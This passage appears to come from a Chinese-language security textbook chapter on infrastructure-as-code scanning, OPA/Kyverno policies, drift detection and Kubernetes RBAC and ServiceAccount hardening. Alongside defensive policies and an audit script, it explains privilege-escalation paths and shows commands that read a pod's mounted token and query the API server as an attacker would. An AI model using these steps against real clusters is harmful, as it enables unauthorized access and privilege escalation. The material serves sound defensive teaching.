★ 我的建议(如果只能选一个):
  新项目     → Trivy(一个二进制搞定所有扫描,学习成本最低)
  纯 Terraform → tfsec(快)或 Checkov(全)
  多技术栈   → Checkov 或 KICS
  要自定义公司规范 → Checkov(YAML 规则最简单)

★ 组合使用的建议:
  CI 里:     tfsec(快,秒级反馈)
  PR 合并前: Checkov(全,带基线)
  定期全量:  Trivy config + Prowler(运行时配置核查)
# ============================================================
# Trivy 的 IaC 扫描(★ 推荐:一个工具全部搞定)
# ============================================================

# 扫 IaC 配置
trivy config ./terraform/
trivy config ./k8s/ --severity HIGH,CRITICAL --exit-code 1

# 扫容器镜像
trivy image nginx:1.25 --severity HIGH,CRITICAL

# 扫依赖
trivy fs --scanners vuln,secret,misconfig .
#                            ↑      ↑       ↑
#                         漏洞   密钥   配置错误

# 生成 SBOM
trivy image --format cyclonedx --output sbom.json nginx:1.25

10.3.5 OPA / Rego:策略即代码(比扫描更进一层)

★ 名词:OPA(Open Policy Agent,开放策略代理) 白话:一个通用的“规则引擎”。 你把策略写成代码(Rego 语言),然后任何系统都可以去问它:“这个操作允许吗?”

★ 名词:Rego 白话:OPA 的策略语言。 ★ 它不是命令式的(不说“怎么做”),是声明式的(说“什么是对的”)。

★ Checkov / tfsec vs OPA 的区别(很多人搞混)

  Checkov / tfsec:
     【预置规则 + 简单自定义】
     → 适合"检查有没有犯这 1000 种已知错误"
     → ★ 优点:开箱即用
     → ★ 缺点:复杂的、跨资源的、带业务逻辑的规则写不了

  OPA / Gatekeeper / Kyverno:
     【通用策略引擎 + 完全自定义】
     → 适合"我们公司的规定:生产环境的 Pod 必须由 A 团队的镜像仓库,
        且必须有 app.kubernetes.io/owner 注解,且副本数 >= 2"
     → ★ 优点:任意复杂逻辑,且【运行时强制】(不只是扫描)
     → ★ 缺点:要学 Rego,有学习成本

  ★★ 关键区别:
     Checkov 是【扫描器】—— 发现问题,但拦不住
     OPA 是【准入控制器】—— ★ 直接在资源创建时拒绝

Rego 快速入门(小白版)

# ============================================================
# 文件:policy/deny_latest.rego
# ============================================================
package kubernetes.admission          # ★ 每个文件必须声明 package

# ------------------------------------------------------------
# Rego 的三个核心概念(用 SQL 类比最好懂)
# ------------------------------------------------------------
#   rule 名字       → SELECT 的结果列名
#   rule 体里的条件 → WHERE 条件
#   ★ 所有条件默认都是 AND(同一 rule 里的多行)
#   ★ 多个同名 rule 之间是 OR(★ 这个最反直觉,见下)
# ------------------------------------------------------------

# ★ 规则 1:禁止使用 latest 标签
deny[msg] {                            # ← deny 是个"集合",命中就往里加一条 msg
    input.kind == "Pod"                # 条件 1:是 Pod
    container := input.spec.containers[_]        # ← [_] 表示"遍历所有容器"(类似 for each)
    endswith(container.image, ":latest")         # 条件 2:镜像以 :latest 结尾
    msg := sprintf("容器 %v 使用了 latest 标签,请指定明确版本", [container.name])
}

# ★ 规则 2:没写 tag 也算(等价于 latest)
deny[msg] {
    input.kind == "Pod"
    container := input.spec.containers[_]
    not contains(container.image, ":")          # ← not 表示"不满足"
    msg := sprintf("容器 %v 未指定镜像 tag(等价于 latest)", [container.name])
}

# ★ 规则 3:禁止特权容器
deny[msg] {
    input.kind == "Pod"
    container := input.spec.containers[_]
    container.securityContext.privileged == true
    msg := sprintf("容器 %v 使用了 privileged 特权模式", [container.name])
}

# ★ 规则 4:必须设置资源限制(★ 这个规则体现了 Rego 的"OR"特性)
deny[msg] {
    input.kind == "Pod"
    container := input.spec.containers[_]
    not container.resources.limits.cpu          # ← 注意:字段不存在时不会报错,
    msg := sprintf("容器 %v 未设置 CPU limit", [container.name])   #    而是"不满足 not"的反面
}

# ★ 规则 5:★ 复杂一点:必须同时有 cpu 和 memory limit,且 cpu <= 2 核
deny[msg] {
    input.kind == "Pod"
    container := input.spec.containers[_]
    cpu := container.resources.limits.cpu
    # ★ Rego 里字符串需要解析单位("500m" / "2")
    not is_valid_cpu(cpu)
    msg := sprintf("容器 %v 的 CPU limit 非法或不合规: %v", [container.name, cpu])
}

# ★ 辅助函数(用 parse_units 处理 "500m" 这种)
is_valid_cpu(cpu) {
    is_number(cpu)                      # "2"
    to_number(cpu) <= 2
}

is_valid_cpu(cpu) {
    endswith(cpu, "m")                  # "500m"
    millicores := to_number(trim_suffix(cpu, "m"))
    millicores <= 2000
}
★ Rego 最反直觉的一点(新手必踩坑)

  Rego 里【同名规则之间是 OR,不是 AND】:

    deny[msg] { 条件A;msg := "违反A" }
    deny[msg] { 条件B;msg := "违反B" }

    含义是:违反 A 【或者】 违反 B → 都算 deny
    (因为 deny 是个集合,两个规则各自往里加元素)

  而【同一个规则体内】的多行是 AND:

    deny[msg] {
        条件A        ← AND
        条件B        ← AND
        msg := "..."
    }

  ★★ 记忆方法:
     大括号 { } 内部 = AND
     大括号之间     = OR
     ★ 这跟 SQL 完全一样:一个 WHERE 里是 AND,两个 SELECT 是 UNION
# ============================================================
# 用 Conftest 在本地测 IaC(★ 不需要 K8s 集群)
# ============================================================
# 名词:Conftest = "OPA 版的 checkov",用来测配置文件

conftest test deployment.yaml --policy policy/

# 输出:
#   FAIL - deployment.yaml - main - 容器 app 使用了 latest 标签,请指定明确版本
#   FAIL - deployment.yaml - main - 容器 app 未设置 CPU limit
#   2 tests, 0 passed, 0 warnings, 2 failures

# ★ 支持 JSON/YAML/HCL/Dockerfile/INI
#   Terraform 需要先转成 JSON:
terraform show -json tfplan > tfplan.json
conftest test tfplan.json --policy policy/
# ★ 这样就能在 terraform apply 之前拦住问题(★ 最左的防线)

Kyverno:K8s 原生的策略引擎(★ 比 OPA 好上手)

★ 名词:Kyverno 白话:专为 Kubernetes 设计的策略引擎,用 YAML 写策略(不用学 Rego)。 ★ 现在已经是 CNCF 毕业项目,很多公司从 Gatekeeper 迁到 Kyverno。

# ============================================================
# Kyverno 策略:强制所有 Pod 的安全基线
# ============================================================
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: pod-security-baseline
spec:
  validationFailureAction: Enforce       # ★ Enforce=拒绝;Audit=只记录
  background: true                       # ★ 对已存在的资源也检查
  rules:

  # 规则 1:禁止 latest 标签
  - name: require-image-tag
    match:
      any:
      - resources:
          kinds: ["Pod"]
    validate:
      message: "★ 镜像必须指定明确的 tag,禁止使用 latest"
      pattern:
        spec:
          containers:
          - image: "!*:latest"           # ★ ! 表示"不能匹配"

  # 规则 2:禁止特权容器
  - name: no-privileged
    match:
      any:
      - resources:
          kinds: ["Pod"]
    validate:
      message: "★ 禁止使用特权容器(privileged)"
      pattern:
        spec:
          containers:
          - securityContext:
              privileged: "false"        # ★ 必须显式写 false

  # 规则 3:★ 必须设置资源限制
  - name: require-resources
    match:
      any:
      - resources:
          kinds: ["Pod"]
    validate:
      message: "★ 必须设置 CPU 和内存 的 requests/limits"
      pattern:
        spec:
          containers:
          - resources:
              requests:
                cpu: "?*"                # ★ ?* 表示"必须存在且非空"
                memory: "?*"
              limits:
                cpu: "?*"
                memory: "?*"

  # 规则 4:★ 自动生成:给所有资源打上默认标签(变异策略 mutate)
  - name: add-default-labels
    match:
      any:
      - resources:
          kinds: ["Pod", "Service", "ConfigMap"]
    mutate:
      patchStrategicMerge:
        metadata:
          labels:
            +(managed-by): "platform-team"     # ★ +() 表示"不存在时才加"
            +(env): "{{ request.object.metadata.namespace }}"

  # 规则 5:★ 自动注入:所有 Pod 默认禁止挂载 ServiceAccount token
  - name: disable-automount-sa-token
    match:
      any:
      - resources:
          kinds: ["Pod"]
    mutate:
      patchStrategicMerge:
        spec:
          automountServiceAccountToken: false   # ★ 见 10.4.3
# 安装 Kyverno
helm repo add kyverno https://kyverno.github.io/kyverno/
helm install kyverno kyverno/kyverno -n kyverno --create-namespace

# 查看策略执行结果
kubectl get policyreport -A
kubectl describe policyreport -n default

# ★ 用 CLI 在提交前测试(不需要集群)
kubectl kyverno apply policy.yaml --resource deployment.yaml

# ★ 强烈推荐:先用 Audit 模式跑两周,看会不会误伤,再切 Enforce
#   validationFailureAction: Audit
#   → kubectl get policyreport 看有多少命中,逐一确认后再切 Enforce

10.3.6 漂移检测(Drift Detection)

★ 名词:漂移(Drift) 白话:实际运行的资源,和你 IaC 文件里描述的不一样了。 ★ 通常是因为有人“图快”直接在控制台上改了,没走 IaC。

★ 生活类比:
    你家有一张装修图纸。
    装修队按图纸装好了。
    后来你觉得插座位置不对,自己挪了一个(没改图纸)。
    再后来你想重装,按图纸施工 → ★ 插座又回到原来位置了

    ★ 漂移的可怕之处:你【以为】生产环境长成 A 那样,
      但它实际是 B。你所有的安全判断都基于 A,全是错的。
★ 漂移的三种来源

  ① 【人为手工修改】(最常见)
     "线上有个问题,我先去控制台上把安全组改一下,回头补 IaC"
     → ★ 回头 = 永远

  ② 【其他系统自动改】
     - 云平台自动扩缩容改了实例数量
     - 另一个 IaC 工具管了同一批资源
     - 安全工具自动打了补丁/加了策略

  ③ 【云平台默认行为】
     - 新建资源时云平台会自动加一些默认值
     - AWS 经常给资源加上默认的安全组、默认标签
# ============================================================
# 漂移检测的四种方式
# ============================================================

# ① terraform plan(★ 最简单,但要定时跑)
terraform plan -detailed-exitcode
# 退出码含义(★ 写脚本必知):
#   0 = 无变化(配置一致)
#   1 = 出错
#   2 = ★ 有差异(存在漂移!)
# ★★ 这个退出码设计很反直觉:0 才是"没问题"

# 定时跑漂移检测(每天一次,发现问题发告警)
#!/bin/bash
cd /path/to/terraform
terraform init -input=false
terraform plan -detailed-exitcode -out=/tmp/plan.tfplan > /tmp/plan.log 2>&1
EXIT=$?
if [ $EXIT -eq 2 ]; then
  echo "★ 检测到基础设施漂移!" | mail -s "[告警] IaC Drift Detected" ops@example.com
  # ★ 同时把 diff 发出来
  terraform show -no-color /tmp/plan.tfplan | mail -s "Drift 详情" ops@example.com
elif [ $EXIT -eq 1 ]; then
  echo "terraform plan 执行失败" | mail -s "[告警] IaC Plan Error" ops@example.com
fi

# ② 用 -refresh-only 只看漂移(不生成变更计划)
terraform plan -refresh-only

# ③ ★ 云平台原生的配置合规服务(推荐)
#   AWS Config       → 持续记录资源配置变化,可配规则告警
#   阿里云 配置审计   → 同上
#   腾讯云 配置审计   → 同上
#   GCP Asset Inventory → 同上

# AWS Config 规则示例:检测安全组被改成 0.0.0.0/0
aws configservice put-config-rule --config-rule '{
  "ConfigRuleName": "restricted-ssh",
  "Source": {
    "Owner": "AWS",
    "SourceIdentifier": "INCOMING_SSH_DISABLED"
  },
  "Scope": {
    "ComplianceResourceTypes": ["AWS::EC2::SecurityGroup"]
  }
}'

# ④ ★ 第三方:Driftctl / Terraform Cloud 的 drift detection
driftctl scan --from tfstate+s3://mycompany-tfstate/prod/terraform.tfstate
# 输出会告诉你:
#   - 哪些资源在 IaC 里有,但云上【不存在】(被手工删了)
#   - 哪些资源云上有,但 IaC 里【没有】(手工建的,★ 往往是安全风险)
#   - 哪些资源配置对不上
★★★ 最重要的建议:★ 禁止手工改生产环境

  技术手段:
    ① 除了 break-glass 角色,所有人都没有控制台写权限
       (★ 只读权限可以全给,写权限只给 IaC 的 CI 角色)
    ② 开启 CloudTrail + 告警:任何非 CI 角色的写操作 → 立刻告警
    ③ 定期跑 drift 检测,发现漂移就告警

  但更重要的是【组织原因】:
    ★ 如果走 IaC 的流程要 2 小时,手工改要 2 分钟,
      那漂移一定会发生,再多的告警也没用
    ★ 所以:让 IaC 流程【比手工更快】(自动化审批、自助服务)

10.4 Kubernetes 安全深度

★ 一句话:K8s 的安全问题,90% 不是“漏洞”,而是默认配置太宽松。 一个默认安装的 K8s 集群,从任何一个 Pod 拿到整个集群,通常只要 5 步。

10.4.1 K8s 架构与信任边界(先看清楚要守哪里)

┌────────────────────────────────────────────────────────────────────┐
│                        Kubernetes 集群                               │
├────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  ┌──────────────── 控制面(Control Plane / Master)──────────────┐  │
│  │                                                                │  │
│  │  ┌──────────────┐  ┌──────────────┐  ┌──────────────┐         │  │
│  │  │ kube-apiserver│  │   etcd       │  │ kube-scheduler│         │  │
│  │  │ ★ 集群前门    │  │ ★ 集群的"大脑"│  │ 调度器        │         │  │
│  │  │ 所有操作都过它│  │ 所有数据在这  │  │              │         │  │
│  │  └──────────────┘  └──────────────┘  └──────────────┘         │  │
│  │  ┌──────────────────────────────────┐                          │  │
│  │  │ kube-controller-manager          │                          │  │
│  │  └──────────────────────────────────┘                          │  │
│  └────────────────────────────────────────────────────────────────┘  │
│                              ↕                                        │
│  ┌──────────────── 工作节点(Worker Node)──────────────────────┐   │
│  │                                                                │   │
│  │  ┌──────────┐   ┌────────┐ ┌────────┐ ┌────────┐              │   │
│  │  │ kubelet  │──▶│ Pod A  │ │ Pod B  │ │ Pod C  │              │   │
│  │  │ ★ 节点代理│   │        │ │        │ │        │              │   │
│  │  └──────────┘   └────────┘ └────────┘ └────────┘              │   │
│  │       │                                                         │   │
│  │  ┌──────────┐                                                  │   │
│  │  │ kube-proxy│  (网络规则)                                    │   │
│  │  └──────────┘                                                  │   │
│  └────────────────────────────────────────────────────────────────┘  │
│                                                                      │
└────────────────────────────────────────────────────────────────────┘

★★★ 攻破每块意味着什么(★ 这张表是本节的核心)

┌───────────────────┬──────────────────────────────────────────────┐
│ 组件               │ ★ 攻破它 = 得到了什么                          │
├───────────────────┼──────────────────────────────────────────────┤
│ etcd               │ ★★★ 整个集群的全部数据(含所有 Secret)        │
│                    │     = 集群完整沦陷,无需任何其他操作            │
│                    │     → Protect: 只有 apiserver 能访问 + TLS     │
├───────────────────┼──────────────────────────────────────────────┤
│ kube-apiserver     │ ★★★ 可以对集群做任何事(等同集群管理员)        │
│ (拿到管理员凭据)  │                                                │
├───────────────────┼──────────────────────────────────────────────┤
│ 有 cluster-admin   │ ★★★ 同上,而且能:                             │
│ 的 ServiceAccount  │     - 读所有 Secret                            │
│                    │     - 在任意节点跑特权 Pod(→ 接管所有节点)    │
├───────────────────┼──────────────────────────────────────────────┤
│ kubelet(某个节点)│ ★★  该节点上的所有 Pod + 所有 Secret            │
│ (10250 端口)       │     + 可以 exec 进任意容器                      │
│                    │     ★ 如果 kubelet 匿名访问开启 = 无需认证!     │
├───────────────────┼──────────────────────────────────────────────┤
│ 某个 Pod(普通)   │ ★   该 Pod 的 ServiceAccount 权限              │
│                    │     + 能访问所有 Service/Pod 的网络             │
│                    │     + 能访问 IMDS 拿节点角色凭据(★ 关键跳板)   │
├───────────────────┼──────────────────────────────────────────────┤
│ 容器逃逸到节点     │ ★★★ 该节点的所有 Pod + 节点上的 kubeconfig      │
│                    │     + 节点角色的云凭据(→ 可能横移到云账号)     │
└───────────────────┴──────────────────────────────────────────────┘

★★★ 最重要的认知:
    K8s 集群里【默认网络是全通的】—— 任何 Pod 都能访问任何 Pod。
    ★ 这跟传统网络的"默认拒绝"完全相反!
    → 所以攻击者只要进了一个最边缘的 Pod,
      就能横扫整个集群的所有服务(Redis、MySQL、内部 API…)
    → ★ 这就是 NetworkPolicy 必须做的原因(见 10.4.6)

10.4.2 RBAC 深度:K8s 的权限系统

★ 名词:RBAC(Role-Based Access Control,基于角色的访问控制) 白话:“谁 能对 什么资源 做 什么操作”,K8s 里用四样东西实现:

┌────────────────────────────────────────────────────────────┐
│  K8s RBAC 的四个对象                                         │
├────────────────────────────────────────────────────────────┤
│  ① Role          → 【某个命名空间内】的一组权限               │
│  ② ClusterRole   → 【整个集群】的一组权限                     │
│  ③ RoleBinding   → 把 Role 绑给某个主体(在某命名空间内生效) │
│  ④ ClusterRoleBinding → 把 ClusterRole 绑给某个主体(全集群)│
└────────────────────────────────────────────────────────────┘

★ 记忆口诀:
   Role / ClusterRole       = 【权限清单】(能做什么)
   RoleBinding / Cluster... = 【授权动作】(把这个清单给谁)

   ★ 生活类比:
     Role         = 一份"岗位职责说明书"
     RoleBinding  = HR 发的"任命书"(把这份职责给张三)

★ 主体(Subject)的三种类型:
   - User    → 人(K8s 里没有"用户"对象,靠证书/OIDC 表示)
   - Group   → 组
   - ServiceAccount → ★ 给【程序】用的身份(最重要,见 10.4.3)
# ============================================================
# 一个最小权限的 Role 示例(★ 这是正确写法的模板)
# ============================================================
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  namespace: production          # ★ Role 必须指定命名空间
  name: pod-reader
rules:
# ★★ 关键原则:逐条列出,不用通配符
- apiGroups: [""]                # ← 空字符串 = 核心 API 组(pods, services, configmaps...)
  resources: ["pods"]            # ★ 只写 pods,不写 ["*"]
  verbs: ["get", "list", "watch"]  # ★ 只读,不给 create/update/delete
  # ★ 不加 resourceNames = 对该命名空间所有 Pod 生效

- apiGroups: [""]
  resources: ["pods/log"]        # ★ 看日志是【子资源】,要单独写
  verbs: ["get"]

# ★ 如果要限制到具体某个 Pod:
- apiGroups: [""]
  resources: ["configmaps"]
  resourceNames: ["app-config"]  # ★ 只能操作这一个 ConfigMap
  verbs: ["get", "update"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: read-pods
  namespace: production
subjects:
- kind: ServiceAccount
  name: monitoring-sa
  namespace: monitoring          # ★ 注意:SA 在 monitoring 命名空间
roleRef:
  kind: Role
  name: pod-reader
  apiGroup: rbac.authorization.k8s.io

★★★ RBAC 的危险写法(每一个都是提权路径)

┌──────────────────────────────────────────────────────────────────┐
│ 危险写法 1:★ 通配符                                               │
├──────────────────────────────────────────────────────────────────┤
│ rules:                                                             │
│ - apiGroups: ["*"]                                                 │
│   resources: ["*"]                                                 │
│   verbs: ["*"]                                                     │
│ → ★★★ 这就是 cluster-admin                                        │
└──────────────────────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────────────────────┐
│ 危险写法 2:★★★ secrets 的 list/get(★ 最被低估的危险)             │
├──────────────────────────────────────────────────────────────────┤
│ - apiGroups: [""]                                                  │
│   resources: ["secrets"]                                           │
│   verbs: ["get", "list"]                                           │
│                                                                    │
│ ★ 为什么危险:                                                     │
│   ① 所有 Secret 里可能有:数据库密码、云 AK/SK、TLS 私钥、API Token  │
│   ② ★★ 更致命:ServiceAccount 的 token 也存为 Secret!             │
│      → 拿到任意 SA 的 token = 变成那个 SA                          │
│      → 如果这个 SA 权限更大 → ★ 提权成功                            │
│                                                                    │
│ ★ 常见场景:                                                       │
│   "给监控组件 secrets 的读权限,方便它读 TLS 证书"                  │
│   → 结果监控组件能读所有 Secret,包括其他 SA 的 token                │
└──────────────────────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────────────────────┐
│ 危险写法 3:★★★ pods/create 或 pods/exec(等于节点 root)           │
├──────────────────────────────────────────────────────────────────┤
│ - apiGroups: [""]                                                  │
│   resources: ["pods"]                                              │
│   verbs: ["create"]                                                │
│                                                                    │
│ ★ 为什么 = 集群沦陷:                                               │
│   ① 我可以创建一个 Pod,指定 hostPID/hostNetwork/privileged         │
│      并挂载宿主机 / 目录                                            │
│   ② Pod 启动后我就拿到了节点的 root                                 │
│   ③ 节点上有 kubelet 的 kubeconfig / 节点角色的云凭据                │
│   ★★★ → 一个 "只是能创建 Pod" 的权限 = 整个集群                      │
│                                                                    │
│ ★ 同理,pods/exec 也是:                                            │
│   kubectl exec -it 任意Pod -- /bin/sh                              │
│   → 我能进到任意一个 Pod 里,包括那些有高权限 SA 的 Pod              │
│   → 从那个 Pod 里读它的 SA token → 提权                             │
│                                                                    │
│ ✅ 防护:★ 必须用 Pod Security Admission / Kyverno 限制             │
│          "能创建什么样的 Pod"(见 10.4.5)                          │
│          ★ RBAC 无法解决这个问题!这一点非常重要                     │
└──────────────────────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────────────────────┐
│ 危险写法 4:★ 能改 RBAC 自己(escalate / bind)                     │
├──────────────────────────────────────────────────────────────────┤
│ 以下四个 verb 都能提权:                                            │
│   - escalate:可以创建/修改【超出自己权限范围】的 Role              │
│   - bind:    可以把【超出自己权限范围】的 Role 绑给自己            │
│   - create/update/patch 在 roles/clusterroles/rolebindings 上      │
│                                                                    │
│ ★ 生活类比:                                                       │
│   这就像"修改公司组织架构的权限"给了实习生                          │
│   → 他可以把自己改成 CEO                                            │
│                                                                    │
│ ★★ K8s 有个内置防护:                                               │
│    RBAC 的"权限提升预防"机制 ——                                     │
│    你【不能】创建或绑定一个超出你自己权限的 Role                     │
│    ★ 除非你有 escalate 或 bind 这两个特殊 verb                      │
│    → ★ 所以:永远不要给任何人 escalate / bind                       │
└──────────────────────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────────────────────┐
│ 危险写法 5:★ impersonate(伪装成别人)                             │
├──────────────────────────────────────────────────────────────────┤
│ - apiGroups: [""]                                                  │
│   resources: ["users", "groups", "serviceaccounts"]                │
│   verbs: ["impersonate"]                                           │
│                                                                    │
│ ★ 效果:kubectl --as=system:master get secrets -A                  │
│   → 我假装成 system:master,RBAC 检查会按 master 的权限放行         │
│   ★★ 注意:system:masters 组是【硬编码绕过 RBAC】的超级组           │
│      → 属于这个组的任何人都是集群管理员,RBAC 拦不住                │
└──────────────────────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────────────────────┐
│ 危险写法 6:★ 能创建 TokenRequest / 证书签名                        │
├──────────────────────────────────────────────────────────────────┤
│ - resources: ["serviceaccounts/token"]  verbs: ["create"]         │
│   → 我可以为【任意 ServiceAccount】签发 token                       │
│   → 包括 cluster-admin 权限的 SA → ★ 直接提权                      │
│                                                                    │
│ - resources: ["certificatesigningrequests"] verbs: ["create","approve"]│
│   → 我可以签发客户端证书,伪装成任意用户                            │
└──────────────────────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────────────────────┐
│ 危险写法 7:★★ 默认 ServiceAccount 被绑定了高权限                   │
├──────────────────────────────────────────────────────────────────┤
│ subjects:                                                          │
│ - kind: ServiceAccount                                             │
│   name: default                      # ← ★★ 千万别用 default       │
│   namespace: default                                               │
│ roleRef:                                                           │
│   kind: ClusterRole                                                │
│   name: cluster-admin                # ← ★★★                       │
│                                                                    │
│ ★ 后果:该命名空间里【每一个没指定 SA 的 Pod】都是集群管理员         │
│   → 攻击者只要在这个命名空间里跑一个最普通的 Pod 就沦陷了            │
└──────────────────────────────────────────────────────────────────┘

★ RBAC 审计脚本(必跑)

#!/bin/bash
# ============================================================
# rbac_audit.sh — 找出集群里所有危险的 RBAC 配置
# ★ 每次接手新集群第一件事就是跑这个
# ============================================================

RED='\033[0;31m'; YELLOW='\033[1;33m'; NC='\033[0m'

echo "═══════════════════════════════════════════════"
echo " ① ★★★ 谁有 cluster-admin?"
echo "═══════════════════════════════════════════════"
kubectl get clusterrolebindings -o json | jq -r '
  .items[]
  | select(.roleRef.name == "cluster-admin")
  | "  [★] \(.metadata.name): " + (
      [.subjects[]? | "\(.kind)/\(.namespace // "-")\(.name)"] | join(", ")
    )
'
# ★ 期望结果:只有 system:masters 组和极少数管理员
#   如果出现 ServiceAccount 或者一大堆用户 → 有问题

echo ""
echo "═══════════════════════════════════════════════"
echo " ② ★★★ 谁能读所有 Secret?"
echo "═══════════════════════════════════════════════"
kubectl get clusterroles -o json | jq -r '
  .items[]
  | . as $cr
  | ($cr.rules // [])[]
  | select(
      (.resources // []) | any(. == "secrets")
    )
  | select(
      (.verbs // []) | any(. == "get" or . == "list" or . == "*")
    )
  | "  [★] ClusterRole: \($cr.metadata.name)  verbs=\((.verbs // []) | join(","))"
'

echo ""
echo "═══════════════════════════════════════════════"
echo " ③ ★★★ 谁能创建 Pod / exec(= 潜在节点 root)?"
echo "═══════════════════════════════════════════════"
kubectl get clusterroles,roles -A -o json | jq -r '
  .items[]
  | . as $r
  | (($r.rules // [])[]) as $rule
  | select(
      ($rule.resources // []) | any(. == "pods" or . == "pods/exec" or . == "*")
    )
  | select(
      ($rule.verbs // []) | any(. == "create" or . == "*")
    )
  | "  [★] \($r.kind)/\($r.metadata.namespace // "-")\($r.metadata.name)"
'

echo ""
echo "═══════════════════════════════════════════════"
echo " ④ ★★ 谁有通配符权限?"
echo "═══════════════════════════════════════════════"
kubectl get clusterroles -o json | jq -r '
  .items[]
  | select(.metadata.name | startswith("system:") | not)
  | . as $cr
  | (($cr.rules // [])[]) as $rule
  | select(
      (($rule.apiGroups // []) | any(. == "*"))
      or (($rule.resources // []) | any(. == "*"))
      or (($rule.verbs // []) | any(. == "*"))
    )
  | "  [★] \($cr.metadata.name): apiGroups=\(($rule.apiGroups // [])|join(",")) resources=\(($rule.resources // [])|join(",")) verbs=\(($rule.verbs // [])|join(","))"
'

echo ""
echo "═══════════════════════════════════════════════"
echo " ⑤ ★★ 谁有 escalate / bind / impersonate(提权 verb)?"
echo "═══════════════════════════════════════════════"
kubectl get clusterroles,roles -A -o json | jq -r '
  .items[]
  | . as $r
  | (($r.rules // [])[]) as $rule
  | select(
      ($rule.verbs // []) | any(. == "escalate" or . == "bind" or . == "impersonate")
    )
  | "  [★★★] \($r.kind)/\($r.metadata.namespace // "-")\($r.metadata.name)  verbs=\(($rule.verbs // [])|join(","))"
'

echo ""
echo "═══════════════════════════════════════════════"
echo " ⑥ ★★ 哪些 SA 绑定了 ClusterRoleBinding?"
echo "═══════════════════════════════════════════════"
kubectl get clusterrolebindings -o json | jq -r '
  .items[]
  | select((.subjects // []) | any(.kind == "ServiceAccount"))
  | . as $crb
  | (.subjects[] | select(.kind == "ServiceAccount"))
  | "  [!] SA \(.namespace)/\(.name) → ClusterRole \($crb.roleRef.name)"
'

echo ""
echo "═══════════════════════════════════════════════"
echo " ⑦ ★ 哪些 Pod 用了 default ServiceAccount?"
echo "═══════════════════════════════════════════════"
kubectl get pods -A -o json | jq -r '
  .items[]
  | select(
      (.spec.serviceAccountName // "default") == "default"
      or (.spec.serviceAccountName == null)
    )
  | "  [!] \(.metadata.namespace)/\(.metadata.name)"
' | head -30
# ★ 建议:所有 Pod 都应该用专用的 SA

★ 工具推荐:rbac-tool / kubiScan(自动算提权路径)

# rbac-tool(★ 最推荐,能直接算出"谁能提权到 cluster-admin")
kubectl krew install rbac-tool

# 找出所有高危主体
rbac-tool analysis

# 找出能读 Secret 的
rbac-tool who-can get secrets -A

# ★★ 最强功能:可视化权限图
rbac-tool visualize --outformat dot > rbac.dot
dot -Tpng rbac.dot -o rbac.png       # ★ 这张图给老板看,一目了然

# kubiScan(专门找有风险的 SA)
kubiscan -rs                          # risky subjects
kubiscan -rr                          # risky roles

10.4.3 ServiceAccount:K8s 里最容易被忽视的身份

★ 名词:ServiceAccount(SA,服务账号) 白话:给“程序”用的身份(不是给人用的)。 Pod 里跑的应用要调用 K8s API,就得有一个 SA。

★ 名词:ServiceAccount Token 白话:SA 的身份证。它是一个 JWT 字符串, 默认被自动挂载到每个 Pod 的 /var/run/secrets/kubernetes.io/serviceaccount/token。

★★★ 这里有个巨大的默认风险:

    K8s 【默认给每个 Pod 都自动挂载一个 SA token】

    也就是说:
      你跑一个最简单的 nginx Pod
      → 它里面就有 /var/run/secrets/kubernetes.io/serviceaccount/token
      → 如果没指定 SA,用的是 default SA
      → ★ 攻击者只要拿下这个 nginx(哪怕只是一个 XSS + 能读文件),
         就能拿着这个 token 去调 K8s API

    ★ 生活类比:
      每个员工入职,公司默认发一张"能开所有会议室"的卡,
      哪怕他的工作根本不需要进会议室。
      → 为什么?因为"默认发"比"按需发"省事。
# ============================================================
# ★ 看看这个"默认发的卡"到底是什么
# ============================================================

# 进任意一个 Pod
kubectl exec -it my-pod -- sh

# 看 token
ls -la /var/run/secrets/kubernetes.io/serviceaccount/
#   ca.crt      ← 集群 CA 证书
#   namespace   ← 当前命名空间名
#   token       ← ★ JWT token

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)

# 用它调 API(★ 这就是攻击者在 Pod 里做的事)
curl -s --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
  -H "Authorization: Bearer $TOKEN" \
  "https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}/api/v1/namespaces/$NS/pods"

# ★ 用 SelfSubjectRulesReview 问"我能干什么"(★ 攻击者必做的第一步)
curl -s --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -X POST \
  -d "{\"apiVersion\":\"authorization.k8s.io/v1\",\"kind\":\"SelfSubjectRulesReview\",\"spec\":{\"namespace\":\"$NS\"}}" \
  "https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
  | jq '.status.resourceRules'

★ 防御一:默认不挂载 token

# 方式 1:Pod 级别
apiVersion: v1
kind: Pod
metadata:
  name: no-token-pod
spec:
  automountServiceAccountToken: false     # ★★★ 关键配置
  containers:
  - name: app
    image: nginx:1.25
# ★ 绝大多数业务 Pod 根本不需要调 K8s API
#   → 一律设为 false
# 方式 2:★ SA 级别(推荐,一次配置,所有用这个 SA 的 Pod 生效)
apiVersion: v1
kind: ServiceAccount
metadata:
  name: app-sa
  namespace: production
automountServiceAccountToken: false       # ★ 这里设
# 方式 3:★ 用 Kyverno 全局自动注入(最省心,见 10.3.5 的规则 5)
#   这样开发什么都不用做,所有 Pod 默认就没有 token
#   → 真正需要 token 的(如 Operator)显式打开

★ 防御二:用投影 Volume 的短期 token(K8s 1.21+)

★ 老式 SA token 的三个问题:
  ① 【不过期】—— 只要 Secret 在,token 永远有效
  ② 【没有 audience 限制】—— 拿去别的系统用也能通过校验
  ③ 【存在 etcd 里的 Secret】—— 能读 secrets 就能拿所有 token

★ 新式(Bound Service Account Token / 投影 Volume):
  ① ★ 有过期时间(默认 1 小时,kubelet 自动续期)
  ② ★ 绑定 audience(只能给指定系统用)
  ③ ★ 绑定 Pod(Pod 删了 token 自动失效)
